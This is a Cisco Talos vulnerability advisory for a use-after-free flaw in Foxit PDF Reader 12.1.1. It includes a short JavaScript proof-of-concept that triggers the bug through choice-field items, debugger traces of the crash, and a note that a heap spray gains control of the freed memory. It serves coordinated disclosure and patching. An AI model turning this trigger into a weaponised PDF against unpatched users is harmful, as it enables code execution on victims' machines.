Talos Vulnerability Report

TALOS-2023-1739

Foxit Reader Choice Field use-after-free vulnerability

July 19, 2023
CVE Number

CVE-2023-28744

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.1.15289. A specially crafted PDF document can trigger the reuse of previously freed memory by manipulating form fields of a specific type. This can lead to memory corruption and arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.1.15289

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents, which can have multimedia content that can be viewed interactively. Common sources of temporal memory safety issues are interactive forms and form fields, which can have event handlers attached to them. If not carefully managed, a deletion of an object during event handling can leave it in an inconsistent state and lead to corruption when the object is reused in main code. This is the case in the way Foxit handles rendering of choice field elements. The following excerpt from the proof of concept demonstrates this vulnerability:

function main() {
    var o = {toString:f12};
    this.getField("choice").setItems([o]);
}

function f12() {

    removeField("choice");
 }

In the above code, in main field, choice is assigned an item with an overridden toString function, which will be called when this field is being rendered. The function attached to toString simply removes the field, which will cause its backing memory to be freed and reused for other purposes. When displaying the contents of the PDF, deleted field memory is reused, which can lead to memory corruption. This can be observed in a debugger. Before the field is freed, its memory is accessed in the following code:

FoxitPDFReader!safe_vsnprintf+0x34d3d0:
02209ad0 55              push    ebp
02209ad1 8bec            mov     ebp,esp
02209ad3 83ec08          sub     esp,8
02209ad6 56              push    esi
02209ad7 8bf1            mov     esi,ecx
02209ad9 6a00            push    0
02209adb 684c9bb005      push    offset FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x16370 (05b09b4c)
02209ae0 ff760c          push    dword ptr [esi+0Ch]                                        [1]
0:000> dd esi
22d61020  00000007 00000000 22d58320 22d5afb0                                               [2]
22d61030  00000000 22d4fd00 00000001 00000001
22d61040  00000000 00000004 00000000 00000000
22d61050  22000006 00000000 00000003 00000000
22d61060  00000000 22d54820 00000010 00000003
22d61070  0f45f24c 0f45f218 0000000a 00000000
22d61080  22000006 00000000 000005f1 00000000
22d61090  00000000 22d54ba0 00000010 00000008
0:000> u
FoxitPDFReader!safe_vsnprintf+0x34d3e3:
02209ae3 e878b4ffff      call    FoxitPDFReader!safe_vsnprintf+0x348860 (02204f60)          [3]
02209ae8 83c40c          add     esp,0Ch
02209aeb 85c0            test    eax,eax
02209aed 7405            je      FoxitPDFReader!safe_vsnprintf+0x34d3f4 (02209af4)
02209aef 803805          cmp     byte ptr [eax],5
02209af2 7459            je      FoxitPDFReader!safe_vsnprintf+0x34d44d (02209b4d)
02209af4 8b06            mov     eax,dword ptr [esi]
02209af6 83f808          cmp     eax,8

At [1] above, we see a function argument being pushed onto stack. The value being pushed comes from esi+0xc and can be seen at [2] to be 22d5afb0. Note [3] reveals that the debugger is currently stopped at a function call. Continuing execution into f12, a function that frees the object and beyond, the same breakpoint is hit again:

Breakpoint 0 hit
eax=07b8e608 ebx=22d61020 ecx=22d61020 edx=062eef00 esi=22d61020 edi=22d61020
eip=02209ae3 esp=07b8e5d4 ebp=07b8e5ec iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitPDFReader!safe_vsnprintf+0x34d3e3:
02209ae3 e878b4ffff      call    FoxitPDFReader!safe_vsnprintf+0x348860 (02204f60)
0:000> dd esi
22d61020  22d61470 00000010 00000010 0065007a                                              [4]
22d61030  0061007a 005f0073 0061006d 00610064
22d61040  0031006a 0070002e 00660064 00000000
22d61050  22000106 00000000 00000003 00000000
22d61060  00000000 22d54820 00000010 00000002
22d61070  0f45f23c 0f45f218 0000000a 00000000
22d61080  22000006 00000000 000005f1 00000000
22d61090  00000000 22d54ba0 00000010 00000008
0:000> ub
FoxitPDFReader!safe_vsnprintf+0x34d3d0:
02209ad0 55              push    ebp
02209ad1 8bec            mov     ebp,esp
02209ad3 83ec08          sub     esp,8
02209ad6 56              push    esi
02209ad7 8bf1            mov     esi,ecx
02209ad9 6a00            push    0
02209adb 684c9bb005      push    offset FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x16370 (05b09b4c)
02209ae0 ff760c          push    dword ptr [esi+0Ch]

This time, however, at [4] we can observe a different value that is decidedly not a pointer, as would be expected. This is indicative of a use-after-free condition. Proceeding with execution leads to the following crash:

(1658.f4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00013693 ebx=00000000 ecx=00000074 edx=00000000 esi=0065008a edi=07b8e5c4
eip=023f9382 esp=07b8e57c ebp=07b8e584 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608          div     eax,dword ptr [esi+8] ds:002b:00650092=????????
0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07b8e584 023f9980 FoxitPDFReader!safe_vsnprintf+0x53cc82
01 07b8e598 020c020a FoxitPDFReader!safe_vsnprintf+0x53d280
02 07b8e5ac 02204fb6 FoxitPDFReader!safe_vsnprintf+0x203b0a
03 07b8e5cc 02209ae8 FoxitPDFReader!safe_vsnprintf+0x3488b6
04 07b8e5ec 02e515a9 FoxitPDFReader!safe_vsnprintf+0x34d3e8

The above crash is due to access violation during a benign div instruction execution, but we can see that memory referenced by esi is the same (plus offset) as the value pushed onto stack at [4]. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

Crash Information

With a simple heap spray, control over freed memory is achieved:

(3e0.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00013693 ebx=00000000 ecx=00000074 edx=00000000 esi=41414139 edi=0019df0c
eip=023f9382 esp=0019dec4 ebp=0019decc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608          div     eax,dword ptr [esi+8] ds:002b:41414141=????????
0:000> dd esi
41414139  ???????? ???????? ???????? ????????
41414149  ???????? ???????? ???????? ????????
41414159  ???????? ???????? ???????? ????????
41414169  ???????? ???????? ???????? ????????
41414179  ???????? ???????? ???????? ????????
41414189  ???????? ???????? ???????? ????????
41414199  ???????? ???????? ???????? ????????
414141a9  ???????? ???????? ???????? ????????
0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0019decc 023f9980 FoxitPDFReader!safe_vsnprintf+0x53cc82
01 0019dee0 020c020a FoxitPDFReader!safe_vsnprintf+0x53d280
02 0019def4 02204fb6 FoxitPDFReader!safe_vsnprintf+0x203b0a
03 0019df14 02209ae8 FoxitPDFReader!safe_vsnprintf+0x3488b6
04 0019df34 02e515a9 FoxitPDFReader!safe_vsnprintf+0x34d3e8
05 0019df5c 02e57f83 FoxitPDFReader!safe_vsnprintf+0xf94ea9
06 0019dfec 02e32ec2 FoxitPDFReader!safe_vsnprintf+0xf9b883
07 0019e040 030f5e0b FoxitPDFReader!safe_vsnprintf+0xf767c2
08 0019e088 032da16b FoxitPDFReader!FXJSE_GetClass+0x26b
09 0019e0f0 032d992e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3c8b
0a 0019e184 032d9be5 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e344e
0b 0019e1cc 032d9a6b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3705
0c 0019e1e8 034fbe7b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e358b
0d 0019e208 03497ed9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x40599b
0e 0019e254 03497ed9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a19f9
0f 0019e280 03496560 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a19f9
10 0019e298 03496389 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a0080
11 0019e2c4 0313265e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39fea9
12 0019e3d4 03132172 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c17e
13 0019e45c 0311ae64 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc92
14 0019e60c 0311a960 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24984
15 0019e620 030f437f FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24480
16 0019e698 030f4cb6 FoxitPDFReader!FXJSE_Runtime_Release+0xd5f
17 0019e6d4 02d73134 FoxitPDFReader!FXJSE_ExecuteScript+0x86
18 0019e738 02d74020 FoxitPDFReader!safe_vsnprintf+0xeb6a34
19 0019e74c 0131122d FoxitPDFReader!safe_vsnprintf+0xeb7920
1a 0019e77c 01310064 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c698d
1b 0019e7bc 0130eae0 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c57c4
1c 0019e810 00c3a522 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c4240
1d 0019e860 00e976bb FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8a02
1e 0019f484 04545025 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x64bab
1f 0019f554 045461fe FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0fb5
20 0019f578 04540ba4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d218e
21 0019f5ec 04541417 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1ccb34
22 0019f60c 7795bf1b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd3a7
23 0019f638 779583ea USER32!_InternalCallWinProc+0x2b
24 0019f720 77957c9e USER32!UserCallWinProcCheckWow+0x3aa
25 0019f79c 77957a80 USER32!DispatchMessageWorker+0x20e
26 0019f7a8 00e1d3c4 USER32!DispatchMessageW+0x10
27 0019f7c4 00e1d483 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128694
28 0019f7e4 04962e2e FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128753
29 0019f7fc 047287b5 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eedbe
2a 0019f848 745b8494 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4745
2b 0019f85c 77cd41c8 KERNEL32!BaseThreadInitThunk+0x24
2c 0019f8a4 77cd4198 ntdll!__RtlUserThreadStart+0x2f
2d 0019f8b4 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> u
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608          div     eax,dword ptr [esi+8]
023f9385 8b450c          mov     eax,dword ptr [ebp+0Ch]
023f9388 8910            mov     dword ptr [eax],edx
023f938a 8b7604          mov     esi,dword ptr [esi+4]
023f938d 85f6            test    esi,esi
023f938f 7422            je      FoxitPDFReader!safe_vsnprintf+0x53ccb3 (023f93b3)
023f9391 8b3496          mov     esi,dword ptr [esi+edx*4]
023f9394 85f6            test    esi,esi
VENDOR RESPONSE

Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/

TIMELINE

2023-04-05 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.